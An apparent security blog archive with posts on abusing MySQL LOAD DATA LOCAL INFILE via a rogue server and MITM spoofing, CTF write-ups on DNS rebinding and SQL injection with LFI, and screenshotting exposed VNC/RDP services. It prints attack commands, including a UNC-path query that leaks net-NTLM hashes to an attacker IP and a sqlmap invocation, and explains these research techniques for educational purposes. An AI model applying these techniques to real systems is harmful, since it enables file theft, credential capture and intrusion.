Showing posts with label web. Show all posts
Showing posts with label web. Show all posts

Monday, April 23, 2018

Abusing MySQL LOCAL INFILE to read client files

Recently, I was playing the VolgaCTF 2018 CTF with my teammates from TheGoonies and we came across an interesting Web challenge that we didn't manage to solve during the competition. The following day, I read the write-up and learned a cool technique to attack the MySQL client directly via the LOAD DATA INFILE statement.

The "Corp Monitoring" task consisted of a Corporate Monitoring API that would test the healthcheck of a given server by connecting and verifying if the FTP, Web and MySQL servers were up. The MySQL user for the connection was restricted and the healthcheck validation was based on a few queries including the "SHOW DATABASE" command.

The key to solve the challenge was to identify the "Can Use LOAD DATA LOCAL" client capability and point the API to a Rogue MySQL server that would read arbitrary files from the client via LOAD DATA INFILE statements.

After reading about the technique, I decided to check how several libraries, clients and Web Frameworks could be exploited. I also ended up writing a a Bettercap module to abuse this feature in combination with MITM attacks.



Previous Research

Before I start I would like to point that this technique is not new: it's a known and documented feature from the MySQL clients. I gathered prior posts, tools and presentations and they're all written by Russians - it looks like these techniques are not very widespread outside there.

- Database Honeypot by design - Presentation from Yuri Goltsev (August 2013)
Rogue-MySql-Server Tool: MySQL fake server to read files of connected clients (September 2013)
MySQL connect file read - Post from the Russian Security (April 2016)


Revisiting MySQL LOAD DATA INFILE

According to the MySQL documentation, the handshake connection phase performs the following tasks:

- Exchange the capabilities of client and server
- Setup SSL communication channel if requested
- Authenticate the client against the server

After the successful authentication, the client sends the query and waits for the server response before actually doing something. The "Client Capabilities" packet includes an entry called "Can Use LOAD DATA LOCAL".

LOAD DATA LOCAL Set? You're gonna have a bad time.

This is where things start to become interesting. As long as the client enables the capability (via --enable-local-infile flag, for example), the file will be read from the local machine running the MySQL client and transferred to the server.


One particular feature from the MySQL protocol is that the client simply doesn't keep track of the requested commands, executing the queries purely based on the server response.

This means that a rogue MySQL server can simulate the initial handshake, wait for the SQL statement packet, ignore it and respond with a LOCAL DATA INFILE request. Cool isn't it?

For successfully exploitation we also need the client to make at least one query to our Rogue MySQL server. Fortunately, most MySQL clients and libraries make at least one query after the handshake in order to fingerprint the platform, for example (select @@version_comment limit 1).



Because most MySQL clients don't enforce encryption, it's quite easy to impersonate a MySQL server using tools like Bettercap. They simply don't care about the integrity and authenticity of the communication.


MITM + Bettercap + Rogue MySQL Server = WIN

Bettercap is the Swiss army knife for network attacks and monitoring. It supports several modules for ARP/DNS spoofing, TCP and packet proxy etc. I had a quick look on how its modules work and hacked a simple MySQL server that will abuse the LOAD DATA LOCAL INFILE feature to read client files.

Firstly, I sniffed the MySQL traffic while the client connects and request to read a LOCAL INFILE. I exported the server responses as byte arrays and defined the components in the Golang code:


Writing a module for Bettercap is very simple and the core of the Rogue MySQL server is as follows:

Here's the module in action:



The module includes the following options:



It's worth mentioning that the INFILE format also supports UNC paths. If the client connecting to your rogue MySQL server is running on Windows, it's also possible to retrieve net-NTLM hashes, using the query below:

LOAD DATA LOCAL INFILE '\\\\172.16.136.153\\test' into table mysql.test FIELDS TERMINATED BY "\n";

Here's a quick video illustrating this technique:


If you have a privileged network position and perform DNS or ARP spoofing, you can also redirect the MySQL traffic from legit databases to your rogue server and read arbitrary client files.

As far as I know, it's not possible to simply redirect TCP traffic from Host A to Host B using Bettercap. I wrote a quick and dirty hack for tcp_proxy.go to handle that:

Here's the ARP spoofing and the MySQL LOAD DATA LOCAL INFILE in action:



I sent a pull request to the project with the Rogue MySQL Server, let's hope that @evilsocket accept it. If my pull request is accepted, I will also ask them the best way to redirect TCP traffic (maybe another module or a setting for the TCP Proxy). I will update the post with the upcoming official solution.


MySQL Command-Line Clients

The mysql client from Homebrew/macOS (mysql: stable 5.7.21, devel 8.0.4-rc) properly enforces the LOCAL-INFILE flag and won't let you read client files without explicitly enabling it:


For some reason, several clients like the Ubuntu default mysql-client (5.7.21-0ubuntu0.17.10.1, as of this writing) automatically sets that flag during the connection:


The same happens with the Windows client bundled with MySQL Workbench, there's no need to enable the flags to read local files:



Abusing Web Frameworks to read server files

This insecure by default behavior also occurs in several libraries, Frameworks and MySQL connectors out there: most of them enable to LOCAL-INFILE flag by default. In this case, when a Web-user modify a form containing a MySQL host and point it to a rogue server, he can read local files from the system.

This functionality is very common in Monitoring/Dashboard applications and Framework install scripts, that allow the user to set the database on-the-fly via the admin panel.

The good news here is that most Web-applications restrict the panels for changing MySQL settings to administrator users only. The bad news is that your admin is one XSS/CSRF/Clickjacking away from being exploited. Here's a quick overview on how some PHP frameworks can be abused:


  • Joomla v3.8.7


  • Wordpress v4.9.5


  • Zabbix v3.4.8



  • Drupal v8.5.2 (Not vulnerable)

Drupal was probably too busy being vulnerable to RCEs


Bonus: Abusing Excel MySQL Connector

If you have a Microsoft Office installation on your Windows machine and the MySQL Connector/Net is installed, it's possible to create a spreadsheet that connects to a rogue MySQL server. The connector is installed by default with the Windows MySQL installer and you probably have it if you use a tool to connect/manage MySQL databases or if your machine is running MySQL server.


In order to create a document that connects to a MySQL server, we need to go to the Data tab, choose New Query>From Database>From MySQL Database. We enter the server details, username, password, query and save the file.



If you download the document from the Internet, the receiver needs to put the document in editing mode before the remote server will be contacted. For some reason, we need to close/reopen Excel for the query to work. Also, Excel only displays the security warning during the first time you open the file and stops to do so as soon as you enable the external content.

Here's another demo:




Conclusion

Despite the efforts from Duo Security (they had a website AND a logo) with the BACKRONYM MySQL vulnerability, not much is being done to enforce proper encryption to MySQL servers. Web applications and Frameworks rarely support encryption and TLS validation for the MySQL connection. The unencrypted protocol is not secure and, given a password hash and a successful authentication handshake, one can successfully login on the server.

MySQL libraries and connectors should establish secure patterns and disable LOCAL-INFILE support by default. I really like the way the Go MySQL Driver works: it supports LOCAL-INFILE via whitelisting and the library documentation explicitly advises that the feature "Might be insecure!"

This feature can also be abused in honeypots and vulnerability scanners. It should be quite interesting to pwn security tools while they scan your MySQL host. If your application register a MySQL URI handler, your system might be exploited via website links.

Another interesting way to abuse MySQL clients is via downgrade attacks, switching to older insecure password authentication and verifying how they behave. But this post is already too long for that...

Thanks for reading! 


Sunday, March 13, 2016

0CTF 2016 Write Up: Monkey (Web 4)

The Chinese 0CTF took place on March 12-13 and it was yet another fun CTF. I played with my teammates from TheGoonies and we were ranked #48.

I found the Web task "Monkey" particularly interesting: I solved it with the help from my friend @danilonc, but it took way longer than it should because of some **Spoiler Alert** DNS glitches. According to the scoreboard status, approximately 35 teams were able to solve it.

Task: Monkey (Web - 4pts)

What is Same Origin Policy?

you can test this problem on your local machine

http://202.120.7.200

The running application receives a Proof-of-Work string and an arbitrary URL, instructing a "monkey" to browse the inputted URL for 2 minutes.

Proof-of-Work

Solving the proof-of-work is pretty straightforward. We had to generate random strings and compare the first 6 chars from its MD5 against the challenge. The POW challenge was more cpu-intensive than normal, so the traditional bash/python one-liner ctf scripts would require some performance improvements.

@danilonc had written a quick hack using Go to bruteforce and solve POW from older CTF challs, so we just slightly modified it:


Solving the Proof-of-Work:
Same-Origin-Policy and CORS

The Same-Origin-Policy (SOP) deems pages having the same URI scheme, hostname and port as residing at the same-origin. If any of these three attributes varies, the resource is in a different origin. Hence, if provided resources come from the same hostname, scheme and port, they can interact without restriction.

If you try to use an XMLHttpRequest to send a request to a different origin, you can’t read the response. However, the request will still arrive at its destination. This policy prevents a malicious script on one page from obtaining access to sensitive data (both the header and the body) on another web page, on a different origin.

For this particular CTF challenge, if the secret internal webpage had had an insecure CORS header like "Access-Control-Allow-Origin: *", we would be able to retrieve its data with no effort. This, of course, was not the case.


Bypassing the Same-Origin

The flag was accessible on an internal webserver hosted at http://127.0.0.1:8080/secret. The first thing we did was hooking the monkey's browser using BeEF, so we could fingerprint his device, platform, plugins and components.


There was nothing interesting here, a custom user-agent and no known vulnerable component. We enumerated the chars accepted by the server with the following script:

Unfortunately, the server was rejecting special chars like spaces (%20 and +) and there was no command injection signal. Our evil plan to input --disable-web-security $URL to disable Chrome's SOP didn't work so we had to find new ways to retrieve the secrets.


We also thought about using data:uri and file schemes to load a malicious script/webpage, but it wouldn't help us to bypass the SOP. We tried to input URL's like <html><script/**/src='http://www.example.com:8000/hook.js'></script></html> and file:///proc/self/environ (setting custom headers with a malicious HTML), but that is also known not to work on modern browsers.


DNS Rebinding

After some discussion, we came to the conclusion that we needed to perform a DNS Rebinding attack. devttys0 presented about this class of vulnerabilities at DEFCON 18 and @mikispag recently wrote a detailed post describing how to use DNS rebinding to steal WiFi passwords.

DNS rebinding is a technique that can be used to perform a breach of same-origin restrictions, enabling a malicious website to interact with a different domain. The possibility of this attack arises because the segregations in the SOP are based primarily on domain name and port, whereas the ultimate delivery of HTTP requests involves converting domain names into IP addresses.

We had some issues at first because we tried to use the free DNS service from DuckDNS and it was very glitchy. For some obscure reason, we were unable to hook the user's browser when using the service.

In order to make our life miserable, the challenge monkey would browse the site for two minutes only: we also could't use the DNS services from Namecheap because the minimum TTL time is 60 seconds.


Attack Phase

After deciding to set up the DNS server on our own, we came with the following attack scenario:

1) User visits the beef hook page at http://ctf.example.com:8080 (IP 1.2.3.4).

2) Webpage will load BeEF javascript hook and his browser will become a zombie.

3) We perform a DNS Rebind to change the A Record from 1.2.3.4 to 127.0.0.1. @danilonc set the BIND Zone file with a low TTL (1 sec) and replaced the answer (lines 14-15) as soon as the browser got hooked.


4) Perform a CORS request using BeeF's "Test CORS Request" module.


Here's a small diagram of the attack:



After a couple of tries we finally managed to get the flag:


Flag: 0ctf{monkey_likes_banananananananaaaa}

Sunday, September 20, 2015

CSAW CTF 2015 Write Up: Weebdate (web500)

The anual CSAW CTF Qualification Round took place on September 18-20 and it was yet another really cool CTF. I played with my friends from TheGoonies and we ranked #128 overall (The Goonies 'R' Good Enough).

Task - Weebdate (web500)

Since the Ashley Madison hack, a lot of high profile socialites have scrambled to find the hottest new dating sites. Unfortunately for us, that means they're taking more safety measures and only using secure websites. We have some suspicions that Donald Trump is using a new dating site called "weebdate" and also selling cocaine to fund his presidential campaign. We need you to get both his password and his 2 factor TOTP key so we can break into his profile and investigate.

Flag is md5($totpkey.$password)

http://54.210.118.179/

This is a basic Flask application running a dating site. The website has some features like most web applications we are used to: creating users, editing profiles, sending messages, searching users and exposing the whole customer data thourgh SQL Injection and LFI.

SQLi

The CSP reporting URI was vulnerable to SQL injection. SQLmap had no problems finding and exploiting it.

python sqlmap.py -u 'http://54.210.118.179:80/csp/view/1' --cookie='session=donaldtrump010_1442717300_f65cb746b519c2b49f8e938a896e08e96f5fc533' --dbms=mysql --batch
The 'weeb' database had three tables: messages, reports and users. The 'user' table had eight columns: user_id, user_name, user_password, user_ip, user_image, user_credits,
user_register_time and user_profile.




Passwords had a SHA256 pattern so I quickly started cracking them using John The Ripper:

john --format=raw-sha256 hash.txt --wordlist=rockyou.txt

Most cracked passwords had patterns like 'testtest', 'lablab' and 'guest1guest1'. After some time I realised that the username was used as a Salt. I generated a small wordlist concatenating donaldtrump's user and password and I finally managed to crack it:




The login form displays "Invalid verification code" when you type a wrong TOTP verification code and it returns "Invalid credentials" when you mistype the password. I knew that his password was 'zebra' but I still needed to find out the TOTP algorithm in order to steal his seed.
LFI

The 'image_url' parameter from '/profile/edit' was vulnerable to LFI, displaying the full content from local files:



A curious note here is that it was the first time I managed to find a bug using Burp Collaborator. The scanner identified the external HTTP/DNS interaction and after some digging I quickly found the LFI =)
After some a lot of time bruteforcing the dirs and files, we managed to find the server root:
We are particularly interested on the generate_seed() function:

- server.py


- utils.py


The TOTP is not stored server-side: it is generated at runtime using a seed based on the username and his registration IP Address. We had the user IP address from the SQLi dump and we can now use the get_otp_key() function to generate his TOTP key:
The flag is the md5($totpkey.$password): a8815ecd3c2b6d8e2e884e5eb6916900

Sunday, August 17, 2014

Scan the Internet & Screenshot All the Things

During Defcon 22, @ErrataRob, @paulm and @Viss (mass)scanned the Internet and presented some Tips, Tricks and Results. Lots of people confronted @Viss after he posted some VNC screenshots on his Twitter timeline. He posted a follow-up article on his blog and Kashmir Hill, from Forbes, wrote an article about the exposed VNC services.

Internet scanning isn't new anymore and people are still surprised with these results. For this post, I'll share some techniques I commonly use to map and screenshot several Internet services during pentest engagements. All this could easily be adapted for other protocols and services, so let's start to Screenshot All the Things.



VNC

The easiest way to snapshot these services is to use preexisting tools and script/mod them according to your needs. In order to take screenshots from VNC, I generally use noVNC (an HTML5 VNC client) and a command line utility to capture the WebKit's rendering of a web page.

The process is pretty straightforward:

1 - Clone the noVNC project from github:

git clone git://github.com/kanaka/noVNC

2 - Start the mini-webserver and specify the location of the VNC server you want to screenshot:

./noVNC/utils/launch.sh --vnc 192.168.1.142:5900


3 - Take a webpage screenshot from command line using CutyCapt, for example:

cutycapt --url="http://127.0.0.1:6080/vnc_auto.html" --javascript=on --out=vnc.png --delay=3000


4 - Profit!!!

Now all you have to do is masscan the target for ports 5900-5910 (used by VNC), save the results on a text file and create a simple script to take the screenshots. You can also try vncsnapshot, used by @paulm during his Toorcon 2013 talk.

RDP

My tool of choice for taking snapshots of RDP services is Spark View. There's an HTML5 version for the tool available here and the process is quite similar to the VNC one:

1 - Download and install Spark View for Windows or Linux. Follow the procedure from the Admin Manual, install J2SE JDK, set the JAVA_HOME environment variable, extract, configure and compile the utils from commons-daemon-native.tar.gz. On Debian derivatives, you may need to edit SparkGateway.sh and change the source function library to "/lib/lsb/init-functions".

2 - Start the service (./SparkGateway.sh start) and test it by accessing your local IP on port 80. Remote Spark provides a live demo for their solution here.


3 - Specify the RDP server settings on the querystring and take a webpage screenshot using a command line tool. I'm going to use phantomjs + url-to-image.js for this example:

phantomjs url-to-image.js "http://127.0.0.1/rdpdirect.html?gateway=127.0.0.1&server=192.168.1.189&width=800&height=600&color=16" rdp.png 800 600


4 - Profit!!!

Some commercial tools like Nessus also connects to RDP services and captures screenshots. Taking screenshots from RDP services is very useful to fingerprint operating systems and to map/identify domains and users on the network. I always output these images to OCR tools like tesseract and gocr in order to generate wordlists and compile other useful data:

RDP screenshot
gocr output
tesseract output

HTTP

There's nothing much to be said about Web Services screenshots. There are lots of posts covering this topic and lots of different tools, including an Nmap plugin. Some references:

- Using Nmap to Screenshot Web Service (http-screenshot.nse)
PaulDotCom Security Weekly 295 - Tech Segment


EyeWitness - A Web Application Triage and Info-Gathering Tool


Conclusion

I find these tips very useful to get a better view of network services. Now that reporters are getting a pretty good idea from the attackers perspective, you have no excuse to leave your curtains exposed to the Internet without a VNC password. It's also important to practice safe computing, changing default passwords and enabling Network Level Authentication for RDP services.